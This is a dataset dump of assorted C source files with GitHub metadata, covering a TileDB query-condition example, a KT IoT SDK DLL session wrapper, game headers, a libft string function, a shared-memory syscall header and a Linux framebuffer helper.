tiledb_query_set_data_buffer(ctx, query_w, "b", b_data, &b_size);
tiledb_query_set_offsets_buffer(
ctx, query_w, "b", b_data_offsets, &b_offsets_size);
tiledb_query_set_data_buffer(ctx, query_w, "c", c_data, &c_size);
tiledb_query_set_data_buffer(ctx, query_w, "d", d_data, &d_size);
tiledb_query_submit(ctx, query_w);
tiledb_query_finalize(ctx, query_w);
tiledb_array_close(ctx, array_w);
tiledb_query_free(&query_w);
tiledb_array_free(&array_w);
}
/**
* @brief Executes the read query for the array created in write_array.
*
* @param ctx The context.
* @param qc The query condition to execute the query with.
*/
void read_array_with_qc(tiledb_ctx_t* ctx, tiledb_query_condition_t* qc) {
// Create data buffers to read the values into.
int a_data[10];
uint64_t a_size = sizeof(a_data);
uint8_t a_data_validity[10];
uint64_t a_validity_size = sizeof(a_data_validity);
// We initialize the buffer b_data to contain 256 characters.
char b_data[256];
memset(b_data, 0, 256);
uint64_t b_size = sizeof(b_data);
uint64_t b_data_offsets[10];
uint64_t b_offsets_size = sizeof(b_data_offsets);
int32_t c_data[10];
uint64_t c_size = sizeof(c_data);
float d_data[10];
uint64_t d_size = sizeof(d_data);
tiledb_array_t* array;
tiledb_array_alloc(ctx, array_name, &array);
tiledb_array_open(ctx, array, TILEDB_READ);
tiledb_subarray_t* subarray;
tiledb_subarray_alloc(ctx, array, &subarray);
int subarray_v[] = {0, num_elems - 1};
tiledb_subarray_set_subarray(ctx, subarray, subarray_v);
// Execute the read query.
tiledb_query_t* query;
tiledb_query_alloc(ctx, array, TILEDB_READ, &query);
tiledb_query_set_layout(ctx, query, TILEDB_ROW_MAJOR);
tiledb_query_set_data_buffer(ctx, query, "a", a_data, &a_size);
tiledb_query_set_validity_buffer(
ctx, query, "a", a_data_validity, &a_validity_size);
tiledb_query_set_data_buffer(ctx, query, "b", b_data, &b_size);
tiledb_query_set_offsets_buffer(
ctx, query, "b", b_data_offsets, &b_offsets_size);
tiledb_query_set_data_buffer(ctx, query, "c", c_data, &c_size);
tiledb_query_set_data_buffer(ctx, query, "d", d_data, &d_size);
tiledb_query_set_subarray_t(ctx, query, subarray);
if (qc) {
tiledb_query_set_condition(ctx, query, qc);
}
tiledb_query_submit(ctx, query);
// Collect the results of the read query. The number of elements
// the filtered array contains is in num_elems, since the array
// is dense. The length of the filtered substring of all the
// data is in b_data, and all the offsets for filtered
// individual elements are in b_data_offsets.
// Here we print all the elements that are returned by the query.
for (int i = 0; i < num_elems; ++i) {
if (c_data[i] != c_fill_value) {
uint64_t element_start = b_data_offsets[i];
uint64_t element_length = (i == num_elems - 1) ?
(b_size / sizeof(char)) - element_start :
b_data_offsets[i + 1] - element_start;
print_elem(
a_data_validity[i] ? &a_data[i] : NULL,
b_data + element_start,
element_length,
c_data[i],
d_data[i]);
}
}
tiledb_query_finalize(ctx, query);
tiledb_array_close(ctx, array);
tiledb_subarray_free(&subarray);
tiledb_query_free(&query);
tiledb_array_free(&array);
}
int main() {
// Create the context.
tiledb_ctx_t* ctx;
tiledb_ctx_alloc(NULL, &ctx);
tiledb_vfs_t* vfs;
tiledb_vfs_alloc(ctx, NULL, &vfs);
int32_t is_dir = 0;
tiledb_vfs_is_dir(ctx, vfs, array_name, &is_dir);
if (is_dir) {
tiledb_vfs_remove_dir(ctx, vfs, array_name);
}
// Create and write data to the array.
create_array(ctx);
write_array(ctx);
// Printing the entire array.
printf("Printing the entire array...\n");
read_array_with_qc(ctx, NULL);
printf("\n");
// Execute a read query with query condition `a = null`.
printf("Running read query with query condition `a = null`...\n");
tiledb_query_condition_t* qc;
tiledb_query_condition_alloc(ctx, &qc);
tiledb_query_condition_init(ctx, qc, "a", NULL, 0, TILEDB_EQ);
read_array_with_qc(ctx, qc);
tiledb_query_condition_free(&qc);
printf("\n");
// Execute a read query with query condition `b < "eve"`.
printf("Running read query with query condition `b < \"eve\"`...\n");
tiledb_query_condition_t* qc1;
tiledb_query_condition_alloc(ctx, &qc1);
const char* eve = "eve";
tiledb_query_condition_init(ctx, qc1, "b", eve, strlen(eve), TILEDB_LT);
read_array_with_qc(ctx, qc1);
tiledb_query_condition_free(&qc1);
printf("\n");
// Execute a read query with query condition `c >= 1`.
printf("Running read query with query condition `c >= 1`...\n");
tiledb_query_condition_t* qc2;
tiledb_query_condition_alloc(ctx, &qc2);
int val = 1;
tiledb_query_condition_init(ctx, qc2, "c", &val, sizeof(int), TILEDB_GE);
read_array_with_qc(ctx, qc2);
tiledb_query_condition_free(&qc2);
printf("\n");
// Execute a read query with query condition `3.0f <= d AND d <= 4.0f`.
printf(
"Running read query with query condition `3.0f <= d AND d <= "
"4.0f`...\n");
float arr[] = {3.0, 4.0};
tiledb_query_condition_t* qc3;
tiledb_query_condition_alloc(ctx, &qc3);
tiledb_query_condition_init(ctx, qc3, "d", &arr[0], sizeof(float), TILEDB_GE);
tiledb_query_condition_t* qc4;
tiledb_query_condition_alloc(ctx, &qc4);
tiledb_query_condition_init(ctx, qc4, "d", &arr[1], sizeof(float), TILEDB_LE);
tiledb_query_condition_t* qc5;
tiledb_query_condition_alloc(ctx, &qc5);
tiledb_query_condition_combine(ctx, qc3, qc4, TILEDB_AND, &qc5);
read_array_with_qc(ctx, qc5);
tiledb_query_condition_free(&qc3);
tiledb_query_condition_free(&qc4);
tiledb_query_condition_free(&qc5);
printf("\n");
// Execute a read query with query condition `3.0f <= d AND d <= 4.0f AND a !=
// null AND b < \"eve\"`.
printf(
"Running read query with query condition `3.0f <= d AND d <= "
"4.0f AND a != null AND b < \"eve\"`...\n");
tiledb_query_condition_t* qc6;
tiledb_query_condition_alloc(ctx, &qc6);
tiledb_query_condition_init(ctx, qc6, "a", NULL, 0, TILEDB_NE);
tiledb_query_condition_t* qc7;
tiledb_query_condition_alloc(ctx, &qc7);
tiledb_query_condition_combine(ctx, qc5, qc6, TILEDB_AND, &qc7);
tiledb_query_condition_t* qc8;
tiledb_query_condition_alloc(ctx, &qc8);
tiledb_query_condition_combine(ctx, qc7, qc1, TILEDB_AND, &qc8);
read_array_with_qc(ctx, qc8);
tiledb_query_condition_free(&qc6);
tiledb_query_condition_free(&qc7);
tiledb_query_condition_free(&qc8);
printf("\n");
// Cleanup.
is_dir = 0;
tiledb_vfs_is_dir(ctx, vfs, array_name, &is_dir);
if (is_dir) {
tiledb_vfs_remove_dir(ctx, vfs, array_name);
}
tiledb_ctx_free(&ctx);
return 0;
}
| [
"noreply@github.com"
] | TileDB-Inc.noreply@github.com |
e05f3c9bc8d46d58dd25b1bdb6144d5c662b8ed7 | f106b2ada207084f76f3fcd16283302fff257b70 | /frameworks/runtime-src/Classes/Const.h | e8c8ea1c9cdd0a6cd920bccd626467cfa6fdf558 | [] | no_license | djs-it/LinkUp | 3d15d22b3d855ee8e52ffbd9437399e90d92a5f6 | a9df86c07ea7f28a1822cd660d995c593ac3b9df | refs/heads/master | 2021-06-06T04:01:44.798236 | 2016-07-22T08:12:03 | 2016-07-22T08:12:03 | 63,861,048 | 0 | 1 | null | null | null | null | UTF-8 | C | false | false | 247 | h | //
// Const.h
// Template
//
// Created by Tim Mars on 4/20/15.
//
//
#ifndef Template_Const_h
#define Template_Const_h
#define UUID_IOS_KEYCHAIN "5G2TD45G3P.com.donopo.overlap"
#define XXTEA_KEY "d@n0po"
#define XXTEA_SIGN "donopo"
#endif
| [
"djs_it@163.com"
] | djs_it@163.com |
d51b1dcd5cd29364c1d6dda1945aa93f99e76645 | 4d26465ff79d1b7d328f324941fcfc1f09952e1f | /SDK_v4_geri/5G_ICT_Open_Platform_device_sdk_4.5.6_C_TCP/project/src/dynamic-library/iotmakers_dll_impl.c | d7b8b9e7523b3d5b01f8038959fa2c87596d67c7 | [
"LicenseRef-scancode-other-permissive"
] | permissive | soosun/sdk_v4 | 098ee29587f5803118411d8b1c2b428387695e67 | 721b83733accb3783966f57e8259f922d8d933a3 | refs/heads/master | 2023-05-31T19:28:53.637648 | 2021-06-14T23:07:37 | 2021-06-14T23:07:37 | 366,534,091 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 9,081 | c | /**
* Copyright (c) 2018 KT Corp. All rights reserved.
*
* This is a proprietary software of KT corp, and you may not use this file except in
* compliance with license agreement with KT corp. Any redistribution or use of this
* software, with or without modification shall be strictly prohibited without prior written
* approval of KT corp, and the copyright notice above does not evidence any actual or
* intended publication of such software.
*
*/
/* iotmakers_dll_impl.c */
#include <stdio.h>
#include <stdlib.h>
#include "client/client.h"
#include "util/util.h"
#include "kt_iot_log.h"
#include "iotmakers_dll_impl.h"
///////////////////////////////////////////////////
// SESSION POOL STUFF
#define IM_SESS_MAX 128
static im_client_tPtr sess_pool[IM_SESS_MAX];
static int sesspool_alloc()
{
int sess_idx;
for (sess_idx = 0; sess_idx < IM_SESS_MAX; sess_idx++) {
if ( sess_pool[sess_idx] == NULL ) {
sess_pool[sess_idx] = malloc(sizeof(im_client_t));
return sess_idx;
}
}
ERR ("sess_pool is full, max = %d", IM_SESS_MAX);
return -1;
}
static void sesspool_free(int hndl)
{
if ( hndl < 0 || hndl >= IM_SESS_MAX ) {
ERR ("hndl is out of %d", IM_SESS_MAX);
return;
}
im_client_tPtr sess = sess_pool[hndl];
if ( sess != NULL ) {
free(sess);
sess_pool[hndl] = NULL;
}
}
static im_client_tPtr sesspool_sess(int hndl)
{
if ( hndl < 0 || hndl >= IM_SESS_MAX ) {
ERR ("hndl is out of %d", IM_SESS_MAX);
return NULL;
}
if ( sess_pool[hndl] == NULL ) {
ERR("no sess found in the sess_pool");
return NULL;
}
return sess_pool[hndl];
}
// SESSION POOL STUFF
///////////////////////////////////////////////////
#if 0
static void __if525_numdata_handler(im_client_tPtr cli, char *devid, char *prop_name, double numval)
{
// !!! USER CODE HERE
DBG("devid=[%s], prop_name=[%s], val=[%f]\n", devid, prop_name, numval);
}
static void __if525_strdata_handler(im_client_tPtr cli, char *devid, char *prop_name, char *strval)
{
// !!! USER CODE HERE
DBG("devid=[%s], prop_name=[%s], val=[%s]\n", devid, prop_name, strval);
}
#endif
int __stdcall ImInit(int debug_level)
{
int rc = 0;
/********************************************************
* session pool stuff
********************************************************/
int sess_hndl = sesspool_alloc();
if ( sess_hndl < 0 ) {
return -1;
}
im_client_tPtr pclient = sesspool_sess(sess_hndl);
if ( pclient == NULL ) {
return -1;
}
/********************************************************
* 로그레벨 설정
* 0=NoLog, 1=Error, 2=Info, 3=Debug
********************************************************/
im_client_set_loglevel(debug_level);
rc = im_client_init(pclient);
if ( rc < 0 ) {
return -1;
}
/********************************************************
* 디바이스 제어수신 처리기 등록 (숫자형/문자형)
********************************************************/
pclient->if525_handler_for_number = NULL;
pclient->if525_handler_for_string = NULL;
return sess_hndl;
}
int __stdcall ImRelease(int sess_hndl)
{
sesspool_free(sess_hndl);
return 0;
}
int __stdcall ImConnectTo(int sess_hndl, char* ec_ip, int ec_port)
{
im_client_tPtr pclient = sesspool_sess(sess_hndl);
if ( pclient == NULL ) {
return -1;
}
int rc = im_connect_to(pclient, ec_ip, ec_port);
return rc;
}
int __stdcall ImTurnCircuitBreakerOff(int sess_hndl)
{
im_client_tPtr pclient = sesspool_sess(sess_hndl);
if ( pclient == NULL ) {
return -1;
}
int rc = im_turn_circuit_breaker_off(pclient);
return rc;
}
int __stdcall ImTurnResponseWaitOff(int sess_hndl)
{
im_client_tPtr pclient = sesspool_sess(sess_hndl);
if ( pclient == NULL ) {
return -1;
}
int rc = im_turn_response_wait_off(pclient);
return rc;
}
int __stdcall ImConnect(int sess_hndl)
{
im_client_tPtr pclient = sesspool_sess(sess_hndl);
if ( pclient == NULL ) {
return -1;
}
int rc = im_connect(pclient);
return rc;
}
int __stdcall ImDisconnect(int sess_hndl)
{
im_client_tPtr pclient = sesspool_sess(sess_hndl);
if ( pclient == NULL ) {
return -1;
}
im_disconnect(pclient);
return 0;
}
//////////////////////////////////
int __stdcall ImAuthDevice(int sess_hndl, char *im_dev_id, char *im_dev_pw, char *im_dev_gw)
{
im_client_tPtr pclient = sesspool_sess(sess_hndl);
if ( pclient == NULL ) {
return -1;
}
int rc = im_auth_device(pclient, im_dev_id, im_dev_pw, im_dev_gw);
return rc;
}
int __stdcall ImPoll(int sess_hndl)
{
im_client_tPtr pclient = sesspool_sess(sess_hndl);
if ( pclient == NULL ) {
return -1;
}
int rc = im_poll(pclient);
return rc;
}
int __stdcall ImMSleep(int sess_hndl, int msec)
{
im_client_tPtr pclient = sesspool_sess(sess_hndl);
if ( pclient == NULL ) {
return -1;
}
im_msleep(msec);
return 0;
}
//////////////////////////////////
int __stdcall ImSendDataOnDev(int sess_hndl, char *json_str, char *resource_name, char *dev_id)
{
im_client_tPtr pclient = sesspool_sess(sess_hndl);
if ( pclient == NULL ) {
return -1;
}
int rc = 0;
rc = im_send_data_on_dev(pclient, json_str, resource_name, dev_id);
if ( rc < 0 ) {
ERR("fail im_send_data_on_dev()\n");
rc = -1;
}
return rc;
}
int __stdcall ImSendData(int sess_hndl, char *json_str, char *resource_name)
{
im_client_tPtr pclient = sesspool_sess(sess_hndl);
if ( pclient == NULL ) {
return -1;
}
int rc = im_send_data(pclient, json_str, resource_name);
DBG("json_str=%s", json_str);
if ( rc < 0 ) {
ERR("fail im_send_data()\n");
rc = -1;
}
return rc;
}
////////////////////////////////////////////////////
//
void __stdcall ImSet_strdata_handler(int sess_hndl, char*(*func)(void *cli, char *devName, char *resource_name, char *prop_name, char *prop_value))
{
im_client_tPtr pclient = sesspool_sess(sess_hndl);
if ( pclient == NULL ) {
return;
}
/********************************************************
* 디바이스 제어수신 처리기 등록 (문자형)
********************************************************/
pclient->if525_handler_for_string = func;
}
void __stdcall ImSet_numdata_handler(int sess_hndl, double(*func)(void *cli, char *devName, char *resource_name, char *prop_name, double prop_value))
{
im_client_tPtr pclient = sesspool_sess(sess_hndl);
if ( pclient == NULL ) {
return;
}
/********************************************************
* 디바이스 제어수신 처리기 등록 (넘버형)
********************************************************/
pclient->if525_handler_for_number = func;
pclient->if525_handler_for_float = func;
}
void __stdcall ImSet_intdata_handler(int sess_hndl, int(*func)(void *cli, char *devName, char *resource_name, char *prop_name, int prop_value))
{
im_client_tPtr pclient = sesspool_sess(sess_hndl);
if ( pclient == NULL ) {
return;
}
/********************************************************
* 디바이스 제어수신 처리기 등록 (정수형)
********************************************************/
pclient->if525_handler_for_integer = func;
}
void __stdcall ImSet_floatdata_handler(int sess_hndl, double(*func)(void *cli, char *devName, char *resource_name, char *prop_name, double prop_value))
{
im_client_tPtr pclient = sesspool_sess(sess_hndl);
if ( pclient == NULL ) {
return;
}
/********************************************************
* 디바이스 제어수신 처리기 등록 (실수형)
********************************************************/
pclient->if525_handler_for_float = func;
}
void __stdcall ImSet_booldata_handler(int sess_hndl, int(*func)(void *cli, char *devName, char *resource_name, char *prop_name, int prop_value))
{
im_client_tPtr pclient = sesspool_sess(sess_hndl);
if ( pclient == NULL ) {
return;
}
/********************************************************
* 디바이스 제어수신 처리기 등록 (부울형(int))
********************************************************/
pclient->if525_handler_for_boolean = func;
}
void __stdcall ImSet_endOfControl_handler(int sess_hndl, int(*func)(void *cli, char *devName, char *resource_name, void *rep_body))
{
im_client_tPtr pclient = sesspool_sess(sess_hndl);
if ( pclient == NULL ) {
return;
}
/********************************************************
* 디바이스 제어수신 처리기 등록 (부울형(int))
********************************************************/
pclient->if525_handler_on_end_of_control = func;
}
#if 1 // 2020-11-16
int __stdcall ImSetReportDataOnDev(void *rep_body, char *json_str, char *resource_name, char *dev_id)
{
return im_set_report_data_on_dev(rep_body, json_str, resource_name, dev_id);
}
#else
// will be deprecated
int __stdcall ImSetReportForControl(void *rep_body, char *resource_name, char *json_str)
{
return im_if525_rep_set_data_in_json(rep_body, resource_name, json_str);
}
#endif
| [
"soosun1@daum.net"
] | soosun1@daum.net |
1f97ebf95b08e276b8944ae00e1b404c6d9cc405 | c1af42bb78cdeac97dcbcce7f85161a5ea7ab7e0 | /src/game_processing/game_main.h | 44328c9a7f7e83d3b8533c7febc700b3a00f1199 | [] | no_license | ditrol/tmmo | 288612460339512479525d7b72e9dc8af153c24d | 9582a6085fa2161a0af245368257cd11a6a20d69 | refs/heads/master | 2021-01-12T12:13:26.088895 | 2017-03-27T20:18:54 | 2017-03-27T20:18:54 | 72,372,369 | 0 | 0 | null | 2016-10-30T20:03:41 | 2016-10-30T20:03:41 | null | UTF-8 | C | false | false | 581 | h | #include "map.h"
#include "../map&builds_gen/buildgen.h"
#include "character.h"
#ifndef GAME_MAIN_H
#define GAME_MAIN_H
#define tick_delay 10000 //1000 = 1ms
#define BUILDING_TYPE_OFFSET 10
typedef enum building_type
{
barrack = 0,
smithy,
market,
tavern,
academy
} building_type_t;
typedef struct union_buildings
{
building_t *buildings;
size_t buildings_cnt;
} union_buildings_t;
void game_start(map_point_t *map, size_t msize_x, size_t msize_y, building_t *buildings, size_t buildings_cnt);
int game_init(char *map_name);
#endif //GAME_MAIN_H
| [
"postem256@gmail.com"
] | postem256@gmail.com |
5539483810ecfb68b42ba34a08956d1f6191d34c | 7696875004ebef1287c8bff0875ec74b39314e89 | /4_fillit/libft/ft_strnequ.c | b1fda05e2ab323d8bb679f82e567ea354171e41e | [] | no_license | criro1/fgeorgin | 06565f4219e183e62c33f03dd83200faca45620e | 6f04101794cb8b6dcf82564c367a36710478a839 | refs/heads/master | 2021-06-28T23:55:14.030377 | 2020-10-21T09:28:41 | 2020-10-21T09:28:41 | 184,742,566 | 1 | 0 | null | null | null | null | UTF-8 | C | false | false | 1,079 | c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_strnequ.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: fgeorgin <marvin@42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/04/15 17:18:55 by fgeorgin #+# #+# */
/* Updated: 2019/05/02 21:53:55 by fgeorgin ### ########.fr */
/* */
/* ************************************************************************** */
#include "libft.h"
int ft_strnequ(char const *s1, char const *s2, size_t n)
{
if (s1 == NULL || s2 == NULL)
return (0);
if (ft_strncmp(s1, s2, n) == 0)
return (1);
return (0);
}
| [
"fgeorgin@at-o7.21-school.ru"
] | fgeorgin@at-o7.21-school.ru |
3e5e6128ba9c522ca89a80b7752af2f104324e1a | cb66093cc5909b35d710e9d722930fe449d4b09d | /pilot/include/header.h | 9a556a8395db39e8b3366ddb36a44eeb638a34c0 | [] | no_license | samanbarghi/syscall-overhead | b163c29598e20f0a7146f11feb268140e1cdb372 | e15fc2048ed0e1cf8f99f94a5034a1e7ab6d1bb6 | refs/heads/master | 2020-04-11T06:27:31.840365 | 2015-12-03T21:04:20 | 2015-12-03T21:04:20 | 20,651,169 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 820 | h | #include <stdio.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/shm.h>
#include <sys/ipc.h>
#include <fcntl.h>
#include "spec.h"
#ifndef _SM_HEADER_H_
#define _SM_HEADER_H_
#define SM_SHMKEY 1020
syscall_page *shared_syscall_page(){
key_t key = SM_SHMKEY;
int shmid;
size_t shmsize = sizeof(syscall_page);
shmid = shmget(key, shmsize, IPC_CREAT | 0666);
printf("ID:%d\n", shmid);
syscall_page *sp= shmat(shmid, NULL, 0);
//make sure the shared memory segment is created successfully
assert(sp != (void *) -1);
printf("Mem struct address:%p\n", sp);
return sp;
}
void init(){
syscall_page *sp = shared_syscall_page();
sem_init(&(sp->mutex),1,1);
sem_init(&(sp->empty),1,SYSCALL_PAGE_SIZE);
sem_init(&(sp->full),1,0);
}
#endif /* _SM_HEADER_H */
| [
"sbarghi@amquant.com"
] | sbarghi@amquant.com |
0c0b6d498fcf8236f9da14a5ea6f01e3935c2d92 | d9889fc26bee3790130b8e01e8d8c63bd13ab6d4 | /libft/srcs/ft_strncmp.c | 9610abdf86f4dfb0de840b65c6d4ce9233bf5972 | [] | no_license | multisme/philo | 7836aef1e25735b60ba0cac768f1d6b4526f76e1 | 0a6adde599cb4ff24b31d1a0058783b4d954db31 | refs/heads/master | 2021-08-22T04:56:05.629959 | 2017-11-29T10:34:29 | 2017-11-29T10:34:29 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 1,203 | c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_strncmp.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: mbinder <mbinder@student.42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2013/11/22 15:34:38 by mbinder #+# #+# */
/* Updated: 2015/01/21 22:16:38 by mbinder ### ########.fr */
/* */
/* ************************************************************************** */
#include "libft.h"
int ft_strncmp(const char *s1, const char *s2, size_t n)
{
size_t i;
int j;
i = 0;
if (n == 0)
return (0);
while (s1[i] == s2[i])
{
if ((s1[i] == '\0' && s2[i] == '\0') || i == n - 1)
return (0);
i++;
}
j = (unsigned char)s1[i] - (unsigned char)s2[i];
return ((int)j);
}
| [
"takiapo@e2r12p22.42.fr"
] | takiapo@e2r12p22.42.fr |
b6b7adc3ce32b5a8062cc2ae7dbdeab344d0b1b3 | 976f5e0b583c3f3a87a142187b9a2b2a5ae9cf6f | /source/linux/drivers/video/fbdev/extr_leo.c_leo_unmap_regs.c | 1818cd781a46434dc349ff569f5ff0f51f6e133a | [] | no_license | isabella232/AnghaBench | 7ba90823cf8c0dd25a803d1688500eec91d1cf4e | 9a5f60cdc907a0475090eef45e5be43392c25132 | refs/heads/master | 2023-04-20T09:05:33.024569 | 2021-05-07T18:36:26 | 2021-05-07T18:36:26 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 1,322 | c | #define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
/* Type definitions */
struct platform_device {int /*<<< orphan*/ * resource; } ;
struct leo_par {scalar_t__ cursor; scalar_t__ lx_krn; scalar_t__ ld_ss1; scalar_t__ ld_ss0; scalar_t__ lc_ss0_usr; } ;
struct leo_cursor {int dummy; } ;
struct fb_info {scalar_t__ screen_base; } ;
/* Variables and functions */
int /*<<< orphan*/ of_iounmap (int /*<<< orphan*/ *,scalar_t__,int) ;
__attribute__((used)) static void leo_unmap_regs(struct platform_device *op, struct fb_info *info,
struct leo_par *par)
{
if (par->lc_ss0_usr)
of_iounmap(&op->resource[0], par->lc_ss0_usr, 0x1000);
if (par->ld_ss0)
of_iounmap(&op->resource[0], par->ld_ss0, 0x1000);
if (par->ld_ss1)
of_iounmap(&op->resource[0], par->ld_ss1, 0x1000);
if (par->lx_krn)
of_iounmap(&op->resource[0], par->lx_krn, 0x1000);
if (par->cursor)
of_iounmap(&op->resource[0],
par->cursor, sizeof(struct leo_cursor));
if (info->screen_base)
of_iounmap(&op->resource[0], info->screen_base, 0x800000);
} | [
"brenocfg@gmail.com"
] | brenocfg@gmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.